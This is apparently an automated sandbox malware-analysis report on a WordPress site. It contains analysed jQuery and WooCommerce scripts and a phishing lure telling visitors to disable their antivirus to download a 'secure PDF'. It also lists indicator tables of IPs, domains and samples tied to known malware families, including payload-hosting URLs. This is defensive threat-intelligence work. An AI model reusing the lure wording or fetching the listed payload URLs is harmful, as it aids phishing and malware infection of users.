JSON.parse"),o(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),o(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace(m,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(o(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t\|\|"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){d["[object "+t+"]"]=t.toLowerCase()}),o(s,"type",function(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?d[Object.prototype.toString.call(e)]\|\|"object":typeof e},"jQuery.type is deprecated"),o(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),o(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated")),s.ajax&&(a=s.ajax,c=/(=)\?(?=&\|$)\|\?\?/,s.a
URL: https://www.woluntech.com/wp-content/plugins/wooco... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of the WooCommerce plugin for WordPress, which is a widely used and trusted e-commerce platform. The code handles the functionality of adding and removing items from the shopping cart, as well as updating the cart fragments. While the code uses some dynamic techniques like `eval` and `XHR`, these are common practices in modern web development and are not inherently malicious in this context. The code also includes several safeguards and event handlers to ensure the proper functioning of the cart and to prevent potential abuse. Overall, the risk score is low, as the code is likely part of a legitimate and widely-used plugin." }
jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},this.onAddToCart).on("click",".remove_from_cart_button",{addToCartHandler:this},this.onRemoveFromCart).on("added_to_cart",this.updateButton).on("ajax_request_not_sent.adding_to_cart",this.updateButton).on("added_to_cart removed_from_cart",{addToCartHandler:this},this.updateFragments)};t.prototype.addRequest=function(t){this.requests.push(t),1===this.requests.length&&this.run()},t.prototype.run=function(){var t=this,a=t.requests[0].complete;t.requests[0].complete=function(){"function"==typeof a&&a(),t.requests.shift(),0<t.requests.length&&t.run()},d.ajax(this.requests[0])},t.prototype.onAddToCart=function(t){var a=d(this);if(a.is(".ajax_add_to_cart")){if(!a.attr("data-product_id"))return!0;if(t.preventDefault(),a.removeClass("added"),a.addClass("loading"),!1===d(document.body).triggerHandler("should_send_ajax_request.adding_to_cart",[a]))return d(document.body).trigger("ajax_request_not_sent.adding_to_cart",[!1,!1,a]),!0;var e={};d.each(a.data(),function(t,a){e[t]=a}),d.each(a[0].dataset,function(t,a){e[t]=a}),d(document.body).trigger("adding_to_cart",[a,e]),t.data.addToCartHandler.addRequest({type:"POST",url:wc_add_to_cart_params.wc_ajax_url.toString().replace("%%endpoint%%","add_to_cart"),data:e,success:function(t){t&&(t.error&&t.product_url?window.location=t.product_url:"yes"!==wc_add_to_cart_params.cart_redirect_after_add?d(document.body).trigger("added_to_cart",[t.fragments,t.cart_hash,a]):window.location=wc_add_to_cart_params.cart_url)},dataType:"json"})}},t.prototype.onRemoveFromCart=function(t){var a=d(this),e=a.closest(".woocommerce-mini-cart-item");t.preventDefault(),e.block({message:null,overlayCSS:{opacity:.6}}),t.data.addToCartHandler.addRequest({type:"POST",url:wc_add_to_cart_params.wc_ajax_url.toString().replace("%%endpoint%%","remove_from_cart"),data:{cart_item_key:a.data("cart_item_key")},success:function(t){t&&t.fragments?d(document.body).trigger("removed_from_cart",[t.fragments,t.cart_hash,a]):window.location=a.attr("href")},error:function(){window.location=a.attr("href")},dataType:"json"})},t.prototype.updateButton=function(t,a,e,r){(r=void 0!==r&&r)&&(r.removeClass("loading"),a&&r.addClass("added"),a&&!wc_add_to_cart_params.is_cart&&0===r.parent().find(".added_to_cart").length&&r.after('<a href="'+wc_add_to_cart_params.cart_url+'" class="added_to_cart wc-forward" title="'+wc_add_to_cart_params.i18n_view_cart+'">'+wc_add_to_cart_params.i18n_view_cart+"</a>"),d(document.body).trigger("wc_cart_button_updated",[r]))},t.prototype.updateFragments=function(t,a){a&&(d.each(a,function(t){d(t).addClass("updating").fadeTo("400","0.6").block({message:null,overlayCSS:{opacity:.6}})}),d.each(a,function(t,a){d(t).replaceWith(a),d(t).stop(!0).css("opacity","1").unblock()}),d(document.body).trigger("wc_fragments_loaded"))},new t});
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your antivirus software or firewall is blocking access to some secure PDF documents. Please temporarily disable your antivirus software to download the files again.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": true }

URL: PDF document Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://www.woluntech.com/wp-includes/js/jquery/jq... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to suspicious domains. It primarily consists of utility functions and object manipulations typical of a library. There are no interactions with external domains or obfuscated code present. Therefore, it is considered low risk." }
/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s
URL: https://www.woluntech.com/oders-pdf/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your antivirus is preventing access to a secure PDF document. Disable your antivirus, then try again.", "prominent_button_name": "DOWNLOAD", "text_input_field_labels": [ "bhcoar@aiwtsmt.net", "********" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.woluntech.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.woluntech.com
URL: https://www.woluntech.com/oders-pdf/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
38.54.26.75	SecuriteInfo.com.Win32.TrojanX-gen.16449.26967.exe	Get hash	malicious	Unknown	Browse	collect-v6.51.la/v6/collect?dt=4
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
148.153.240.68	http://38133.xc.05cg.com/	Get hash	malicious	Unknown	Browse	collect-v6.51.la/v6/collect?dt=4
148.153.240.68	http://40608.xc.05cg.com/	Get hash	malicious	Unknown	Browse	collect-v6.51.la/v6/collect?dt=4
103.211.239.66	Disable_automatic_email_errors.exe	Get hash	malicious	AgentTesla	Browse
103.211.239.66	Amended_Po-1423300134.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	185.199.110.133
	sZSXKXOnBw.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	sZSXKXOnBw.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	http://trustwallet.secure-configure.com/trst.php	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://trustwallet.secure-configure.com/trst.php/	Get hash	malicious	Unknown	Browse	185.199.110.133
	HTTPS://RAW.GITHUBUSERCONTENT.COM/wINPARwINPAR/DUCKYSCRIPTS/MAIN/nOeSCAPE.EXE	Get hash	malicious	Unknown	Browse	185.199.111.133
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	185.199.111.133
	h.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	185.199.110.133
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
github.com	https://microsoft-visio.en.softonic.com/	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://github.com/MscrmTools/XrmToolBox/releases/download/v1.2024.9.69/XrmToolbox.zip	Get hash	malicious	Unknown	Browse	140.82.112.4
	https://github.com/MscrmTools/XrmToolBox/releases/download/v1.2024.9.69/XrmToolbox.zip	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/MscrmTools/XrmToolBox/releases/download/v1.2024.9.69/XrmToolbox.zip	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/netwrix/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip	Get hash	malicious	Unknown	Browse	140.82.121.4
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	140.82.121.4
	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	140.82.121.4
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.121.4
bg.microsoft.map.fastly.net	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	tTbeoLWNhb.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Document-01-16-25.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Eastern Contractors Corporation Contract and submittal document.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	v9xYj92wR3.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	https://securityalert-corporate.com/click/f288bff9-842d-4e34-8d2d-41ad20e48e9d	Get hash	malicious	Unknown	Browse	199.232.214.172
	FjSrGs0AE2.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	jgd5ZGl1vA.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	logitix.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
hcdnwsa120.v5.cdnhwczoy106.cn	https://imtcoken.im/	Get hash	malicious	Unknown	Browse	98.98.25.19
	http://www.toekan.im/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://wap.sunblock-pro.com/	Get hash	malicious	Unknown	Browse	90.84.161.16
	http://m.escritoresunidos.com/	Get hash	malicious	Unknown	Browse	199.91.74.209
	https://www.xietaoz.com/	Get hash	malicious	Unknown	Browse	199.91.74.185
	http://wap.escritoresunidos.com/	Get hash	malicious	Unknown	Browse	90.84.161.20
	http://www.telegramai.org/	Get hash	malicious	Unknown	Browse	90.84.161.20
	http://www.telegramwg.com/	Get hash	malicious	Unknown	Browse	90.84.161.20
	https://aqctslc.com/	Get hash	malicious	Unknown	Browse	199.91.74.185
	http://38133.xc.05cg.com/	Get hash	malicious	Unknown	Browse	90.84.161.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/Computer-Zubehoer/b/?ie=UTF8&node=340843031&ref_=nav_cs_pc	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/b/?_encoding=UTF8&_encoding=UTF8&node=3024314031&bbn=16435051&pd_rd_w=VSdHJ&content-id=amzn1.sym.01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_p=01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	151.101.129.16
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/NYNY25/?_encoding=UTF8&pd_rd_w=WqHp4&content-id=amzn1.sym.33dfa5bb-d117-4590-a21d-8b7be5a7ab9d&pf_rd_p=33dfa5bb-d117-4590-a21d-8b7be5a7ab9d&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://ziyahid.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://tvtsrilanka.com/Agrr/	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://metapromation.vercel.app/pagez/	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://sreamconmymnltty.com/scerty/bliun/bolop	Get hash	malicious	Unknown	Browse	199.232.192.193
	http://fbmatrixgrowth-zeta.vercel.app/pagez/	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://yolocdh.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.46
COGENT-174US	S8LDvVdtOk.dll	Get hash	malicious	Wannacry	Browse	38.189.152.1
	xjljKPlxqO.dll	Get hash	malicious	Wannacry	Browse	206.238.32.1
	http://iuyhrgjyujliyhgdhtyhuggdchrtgfdhfhtjh.b-cdn.net/	Get hash	malicious	Unknown	Browse	143.244.60.193
	v9xYj92wR3.dll	Get hash	malicious	Wannacry	Browse	38.1.235.120
	mlfk8sYaiy.dll	Get hash	malicious	Wannacry	Browse	38.251.3.58
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	38.4.250.205
	meth8.elf	Get hash	malicious	Mirai	Browse	38.162.241.67
	meth1.elf	Get hash	malicious	Mirai	Browse	38.177.19.121
	arm4.elf	Get hash	malicious	Unknown	Browse	154.18.45.127
	ppc.elf	Get hash	malicious	Unknown	Browse	38.253.160.113
CDSC-AS1US	meth15.elf	Get hash	malicious	Mirai	Browse	164.52.64.103
	http://www.toekan.im/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://wap.sunblock-pro.com/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://hmflowcontrols.com/ch/CHFINAL/50477/	Get hash	malicious	Unknown	Browse	148.153.240.72
	http://www.telegramstg.com/	Get hash	malicious	Unknown	Browse	148.153.240.68
	http://www.telegramii.org/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://whatsapp-cy.com/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	148.153.240.72
	https://aqctslc.com/	Get hash	malicious	Unknown	Browse	148.153.240.68
	https://199.188.109.181	Get hash	malicious	Unknown	Browse	148.153.240.71
NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud	https://cadtutorial.org	Get hash	malicious	Unknown	Browse	103.211.239.20
	Disable_automatic_email_errors.exe	Get hash	malicious	AgentTesla	Browse	103.211.239.66
	Amended_Po-1423300134.exe	Get hash	malicious	Unknown	Browse	103.211.239.66
	PO-21004-1-Ind Expert.doc	Get hash	malicious	Unknown	Browse	43.252.37.193
	PAYMENT DETAILS .doc	Get hash	malicious	Unknown	Browse	43.252.37.193
	Revised Purchase Order 1214.doc	Get hash	malicious	AgentTesla	Browse	43.252.37.193
	INQUIRY_RFQ_20210208.doc	Get hash	malicious	AgentTesla	Browse	43.252.37.193
	Request- NAVALTECH.doc	Get hash	malicious	AgentTesla	Browse	43.252.37.193
	Quotation-20441.doc	Get hash	malicious	AgentTesla	Browse	43.252.37.193
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	AgentTesla	Browse	43.252.37.193

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe	Quote for new order 2025.exe	Get hash	malicious	Unknown	Browse
	Quote for new order 2025.exe	Get hash	malicious	Unknown	Browse
	#U0417#U0430#U043f#U0440#U043e#U0441 #U041a#U041f.docx.scr	Get hash	malicious	Unknown	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie_(1).vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	UDO_Device_Enrolment.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Downloads\01-14-2025 10-06-38.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	50827
Entropy (8bit):	7.163569933449973
Encrypted:	false
SSDEEP:	768:CTxfCdb58SSSSSSSSSS1+0jAVryamh9S9GmCU7LOym+ZVnT:CNQ5WzAVryamvfmCU7LOyBZVnT
MD5:	252090C29C69EB2DB4436D2151F4875A
SHA1:	743B4470FE12D87F686833B6B0AC47400EE67198
SHA-256:	10D82D69C07EE5F62FA2D229FC39C158235E570F588234719E8FBD0A31560353
SHA-512:	4F9F51349F574BEFDD9C1F4FEF4F3E2A57B38DFE782303B5730FF8E22E59C53FC8C4D347E6428D679F534D434C11B865C9E92E0661AD7C9D590D97F7D98B332C
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..AEgkz..N..,Fi.u..........\^...{@..e....$..j.$S.7...=.........Gz...RD........_g..-...).9..#>}..?...ES..&.I.8....G.6P7~.g.6.`.m..P.\.h..p. z.'.z...Ec...X!....7^Ts..6...........n..a.,2.......c.P..U..[I.....3..M..c+...W....(...(...(...(...(...(...(...(....j.X<..$.I..Om.h.. .y.gH_a..+..O\|P..2...c.c\.........1..U+Y.K........]6'+4..QQIs.>g.4i.......}...j

C:\Users\Public\Downloads\01-14-2025 10-48-09.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	59648
Entropy (8bit):	7.373208172388655
Encrypted:	false
SSDEEP:	1536:C9x1sRSGyysX4CF/8nh2dZwK6cy+wwwZ1xqmMXT7:KxWvm48/8h2d+5cylov7
MD5:	D54E8D169686853A8122276D432AC3E5
SHA1:	FFDCD42B63D1FA057968098BACAE77C5826B7BC1
SHA-256:	21FA1FDFEA07D48BADE37B9C4517635FFDA1F1BFE30F8709A1CD98A9592FB87D
SHA-512:	AC716C6F3F88D98B980FE0BAC59DB4C04130B72EC6CB59F15385E9518283FB76CA553E1CB9033AAA585AC54FA3BAE6512E4C8E1067D134C22D46CF33E7E6E8AA
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(.......O...X.H........\v..k..."]I%.\|H..l.$S.7...=....u...;.]...'.Xu..?.Y...-.>^.Na.q......c..TU..Kt..nd..;g..I ..........1n.-..=...Wk..0s.I...h.J...E....e.....x!..2.6..S..;z.kU....,....q.`2..9./S..T.b..]b.]M,m.y>q/.(c..8`:..q.(...(...(...(...(...(...(...(...(..._..c......v......(..m.7.... ..2.....=.....]..w8...HP....5...\|G...u.R....x.m..E..v=...\.~

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.251167509215276
Encrypted:	false
SSDEEP:	6:iO8HWT+DSN+q2Pwkn2nKuAl9OmbnIFUtWHWT+LDJmWZmwoHWT+LDJNVkwOwkn2nC:70WT+Di+vYfHAahFUteWT+LlmW/4WT+o
MD5:	58D220270D6E307F8E99E0942DFF7FF3
SHA1:	B2984462CB9507369E5C3A175073A557367D4BCA
SHA-256:	1145324756C8EEDCBCE57DA0C9FA1C733B97D6EC8C0A86CC81CA4550CEC06CD5
SHA-512:	DC49CB637A65791A89F8BBA99F1B0DE61DF60E117ED6FF8C8540B8653545324D740EBD3AFC2E1AC5BA22787CC6CE67ED04C0A8A038440E6D20BBA74DADA3F21A
Malicious:	false
Preview:	2025/01/14-21:36:31.586 1f5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-21:36:31.589 1f5c Recovering log #3.2025/01/14-21:36:31.589 1f5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.251167509215276
Encrypted:	false
SSDEEP:	6:iO8HWT+DSN+q2Pwkn2nKuAl9OmbnIFUtWHWT+LDJmWZmwoHWT+LDJNVkwOwkn2nC:70WT+Di+vYfHAahFUteWT+LlmW/4WT+o
MD5:	58D220270D6E307F8E99E0942DFF7FF3
SHA1:	B2984462CB9507369E5C3A175073A557367D4BCA
